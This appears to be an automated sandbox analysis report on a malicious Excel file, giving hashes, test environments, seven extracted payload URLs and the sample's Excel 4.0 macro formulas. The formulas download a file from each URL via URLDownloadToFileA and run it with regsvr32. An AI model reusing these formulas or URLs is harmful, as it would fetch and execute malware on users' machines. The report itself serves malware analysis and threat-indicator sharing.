General
-
Target
74c3a25462cdb0a73985574edeb46714efb6a2ea0e897943af3f569a5d83012e
-
Size
33KB
-
Sample
240909-11lzwasfkp
-
MD5
81a74ab045144960ef595e50577c5410
-
SHA1
2b7f7976dd39d1c44e7ff14e98f93b353c28fb8b
-
SHA256
74c3a25462cdb0a73985574edeb46714efb6a2ea0e897943af3f569a5d83012e
-
SHA512
eca61f565d53249f2adafb84109a776d2bccadefc3430409e2433d19f3bdb35fdfca6243138e882df6ed899761fa928a9327ba0a4c700326b9c823af9068a8fa
-
SSDEEP
768:cCMa37yGcEXvp96wU1+FCh+JJwthSL8GjutREhqP:J7375T6Z4FLLwtZHEhqP
Static task
static1
Behavioral task
behavioral1
Sample
74c3a25462cdb0a73985574edeb46714efb6a2ea0e897943af3f569a5d83012e.xlsx
Resource
win7-20240704-en
Behavioral task
behavioral2
Sample
74c3a25462cdb0a73985574edeb46714efb6a2ea0e897943af3f569a5d83012e.xlsx
Resource
win10v2004-20240802-en
Malware Config
Extracted
https://ausnz.net/2010wc/RhAYVPNypjphNNk6J/
https://belisip.net/libs/Swift-5.1.0/F5XU7EuPePQ/
https://blog.centerking.top/wp-includes/WEIuPafz0bS/
https://edu-media.cn/wp-admin/TOu/
https://ppiabanyuwangi.or.id/lulu-1937/daURDNUyso/
https://lydt.cc/wp-includes/jprpcO8U/
https://acerestoration.co.za/wp-admin/gJqMBYhQHYsDE/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://ausnz.net/2010wc/RhAYVPNypjphNNk6J/","..\wnru.ocx",0,0) =IF('HUNJK'!E15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://belisip.net/libs/Swift-5.1.0/F5XU7EuPePQ/","..\wnru.ocx",0,0)) =IF('HUNJK'!E17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://blog.centerking.top/wp-includes/WEIuPafz0bS/","..\wnru.ocx",0,0)) =IF('HUNJK'!E19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://edu-media.cn/wp-admin/TOu/","..\wnru.ocx",0,0)) =IF('HUNJK'!E21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://ppiabanyuwangi.or.id/lulu-1937/daURDNUyso/","..\wnru.ocx",0,0)) =IF('HUNJK'!E23<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://lydt.cc/wp-includes/jprpcO8U/","..\wnru.ocx",0,0)) =IF('HUNJK'!E25<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://acerestoration.co.za/wp-admin/gJqMBYhQHYsDE/","..\wnru.ocx",0,0)) =IF('HUNJK'!E27<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\wnru.ocx") =RETURN()
Targets
-
-
Target
74c3a25462cdb0a73985574edeb46714efb6a2ea0e897943af3f569a5d83012e
-
Size
33KB
-
MD5
81a74ab045144960ef595e50577c5410
-
SHA1
2b7f7976dd39d1c44e7ff14e98f93b353c28fb8b
-
SHA256
74c3a25462cdb0a73985574edeb46714efb6a2ea0e897943af3f569a5d83012e
-
SHA512
eca61f565d53249f2adafb84109a776d2bccadefc3430409e2433d19f3bdb35fdfca6243138e882df6ed899761fa928a9327ba0a4c700326b9c823af9068a8fa
-
SSDEEP
768:cCMa37yGcEXvp96wU1+FCh+JJwthSL8GjutREhqP:J7375T6Z4FLLwtZHEhqP
Score3/10 -